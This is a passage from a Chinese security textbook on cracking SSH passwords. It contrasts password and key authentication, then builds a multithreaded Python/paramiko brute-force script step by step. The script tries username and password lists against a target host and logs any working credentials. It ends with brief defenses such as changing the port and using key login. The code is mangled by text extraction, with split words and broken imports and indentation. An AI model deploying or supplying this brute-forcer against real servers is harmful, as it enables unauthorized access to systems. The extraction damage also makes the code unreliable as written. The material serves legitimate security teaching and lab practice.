SSH(Secure Shell)是目前较可靠、专为远程登录会话和其他网络服务提供 安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。 SSH口令长度太短或者复杂度不够,如仅包含数字或仅包含字母等时,容易被攻 击者破解。 口令一旦被攻击者获取,将可用来直接登录系统,控制服务器的所有 权限!
7.3.1 编写脚本
SSH主要应用于类UNIX系统中。Telnet是Windows下的远程终端协议,但是 由于Telnet在传输的过程中没有使用任何加密方式,数据通过明文方式传输,所 以被认为是不安全的协议。而SSH协议可以有效地防止远程管理过程中的信息泄 露问题,所以SSH成了目前远程管理的首选协议。
从客户端来看,SSH提供两种级别的安全验证:
·基于密码的安全验证:只要知道账户和密码,就可以登录到远程主机,并且 所有传输的数据都会被加密。但是,如果有别的服务器在冒充真正的服务器,那 么将无法避免“ 中间人”攻击,同时你的账户密码也可能会受到暴力破解。
·基于密钥的安全验证:该级别需要依靠密钥。首先必须创建一对密钥,并把 公钥重命名为authorized_keys ,放在需要访问的服务器上。客户端向服务器发出 连接请求,请求信息包含IP地址和用户名。服务器接收到请求后,会到
authorized_keys中查找,如果找到有对应响应的IP和用户名,则会随机生成一个字 符串,并用你的公钥进行加密,然后发送回来。客户端接收到加密信息后,用私 钥进行解密,并把解密后的字符串发送回服务器进行验证,服务器把解密后的字 符串与之前生成的字符串进行对比,如果一致就允许登录。这样可以避免“ 中间
人”攻击,而且由于验证的过程不存在口令传输,所以也能避免暴力破解。
接下来介绍如何编写脚本来破解SSH口令。这次增加对脚本的传参功能,使 得脚本能根据用户的参数来调整破解方式。具体步骤如下。
1)写入脚本信息,导入相关模块:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import import import import import
optparse
sys
os
threading
paramiko
2)编写一个分块函数,我们根据用户的线程数进行分割,一个线程负责一 个账户密码子列表:
# 列表分块函数
def partition(list, num) :
# step为每个子列表的长度
step = in t(len(list) / num)
# 若线程数大于列表长度,则不对列表进行分割,防止报错
if step == 0:
step = num
part List = [list[i :i+step] for i in range(0,len(list),step)]
return part List
3)编写破解函数,该函数主要负责分割数据、创建子线程、分配任务等前 期工作: |
def SshExploit(ip,usernameFile,password File,threadNumber,sshPort) : print("============破解信息============") print("IP:" + ip) print("UserName:" + usernameFile) print("PassWord :" + password File) print("Threads:" + str(threadNumber)) print("Port :" + sshPort) print("=================================") # 读取账户文件和密码文件并存入对应列表 listUsername = [line .strip() for line in open(usernameFile)] listPassword = [line .strip() for line in open(password File)] # 将账户列表和密码列表根据线程数量进行分块 blockUsername = partition(listUsername, threadNumber) blockPassword = partition(listPassword, threadNumber) threads = [] # 为每个线程分配一个账户密码子块 for sonUserBlock in blockUsername: for sonPwdBlock in blockPassword : work = ThreadWork(ip,sonUserBlock, sonPwdBlock,sshPort) # 创建线程 workThread = threading .Thread(target=work.start) # 在threads中加入线程 threads .append(workThread) # 开始子线程 for t in threads: t.start() # 阻塞主线程,等待所有子线程完成工作 for t in threads: t.join() |
4)编写子线程类。子线程根据给定的SSH信息进行连接,若账户密码正确, 则写入result文件并退出程序。由于破解可能导致服务器无法响应一些线程的请 求,因此通过捕获异常让线程对当前的账户密码继续进行验证,防止报错导致当 前请求丢失: |
class ThreadWork(threading .Thread) :
def __init__(self,ip,usernameBlocak,passwordBlocak,port) :
threading .Thread.__init__(self)
self.ip = ip;
self.port = port
self.usernameBlocak = usernameBlocak
self.passwordBlocak = passwordBlocak
def run(self,username,password) :
'''
用死循环防止因为Error reading SSH protocol banner错误
而出现线程没有验证账户和密码是否正确就被抛弃掉的情况
'''
while True:
try:
# 设置日志文件
paramiko .util.log_to_file("SSHattack.log")
ssh = paramiko .SSHClient()
# 接受不在本地Known_host文件下的主机
ssh.set_missing_host_key_policy(paramiko .AutoAddPolicy()) # 用sys .stdout.write输出信息,解决用print输出时错位的问题
sys .stdout.write("[*]ssh[{} :{} :{}] => {}\n" .format
(username, password, self.port, self.ip))
ssh.connect(hostname=self.ip, port=self.port, username=
username, password=password, timeout=10)
ssh.close()
print("[+]success !!! username: {}, password : {}" .format
(username, password))
# 把结果写入result文件
resultFile = open( 'result ', 'a ')
resultFile .write("success !!! username: {}, password : {}" . format(username, password))
resultFile .close()
# 程序终止,0表示正常退出
os ._exit(0)
except paramiko .ssh_exception .AuthenticationException as e:
# 捕获Authentication failed错误
# 说明账户密码错误,用break跳出循环
break
except paramiko .ssh_exception .SSHException as e:
# 捕获Error reading SSH protocol banner错误
# 请求过多导致的问题用pass忽略掉,让线程继续请求,直到该次请求的账户 密码被验证
pass
def start(self) :
# 从账户子块和密码子块中提取数据,分配给线程进行破解
for userItem in self.usernameBlocak :
for pwd Item in self.passwordBlocak :
self.run(userItem,pwd Item)
5)编写main 函数。其中通过parser.add_option() 函数来增加参数的定义, 脚本根据对应参数的值来进行破解:
if __name__ == '__main__ ' :
print("\n#####################################")
print("# => MS08067 <= #")
print("# #")
print("# SSH experiment #")
print("#####################################\n")
parser = optparse .OptionParser( 'usage: python %prog target [options] \n\n ' 'Example: python %prog 127 .0 .0 .1 -u ./username -p ./passwords -t 20\n ')
# 添加目标主机参数-i
parser .add_option( '-i ', '--ip ', dest= 'IP ',
default='127.0.0.1 ', type= 'string ',
help= 'target IP ')
# 添加线程参数-t
parser .add_option( '-t ', '--threads ', dest= 'threadNum ',
default=10, type= 'in t ',
help= 'Number of threads [default = 10] ')
# 添加用户名文件参数-u
parser .add_option( '-u ', '--username ', dest= 'userName ',
default= ' ./username ', type= 'string ',
help= 'username file ')
# 添加密码文件参数-p
parser .add_option( '-p ', '--password ', dest= 'passWord ',
default= ' ./password ', type= 'string ',
help= 'password file ')
# 添加SSH端口参数-P
parser .add_option( '-P ', '--port ', dest= 'port ',
default= '22 ', type= 'string ',
help= 'ssh port ')
(options, args) = parser .parse_args()
至此,SSH口令破解脚本就完成了。我们尝试对本地的靶机进行破解。需要 注意的是,在破解的过程中,线程数过大容易对目标造成DoS攻击,请把线程数 选择在合适的范围内。运行脚本如图7-9所示。
图7-9
脚本的运行结果如图7-10所示。
破解过程
图7-10 破解成功
7.3.2 防御策略
SSH常用于服务器的管理,若密码被破解成功,那么服务器就能被他人所控 制。对于SSH破解的防御,也可以借鉴弱口令问题相关的防御手段,这里再补充 几点:
·修改SSH的默认端口。
·使用非root账户登录。
·使用SSH证书登录代替密码登录。
·使用IP白名单。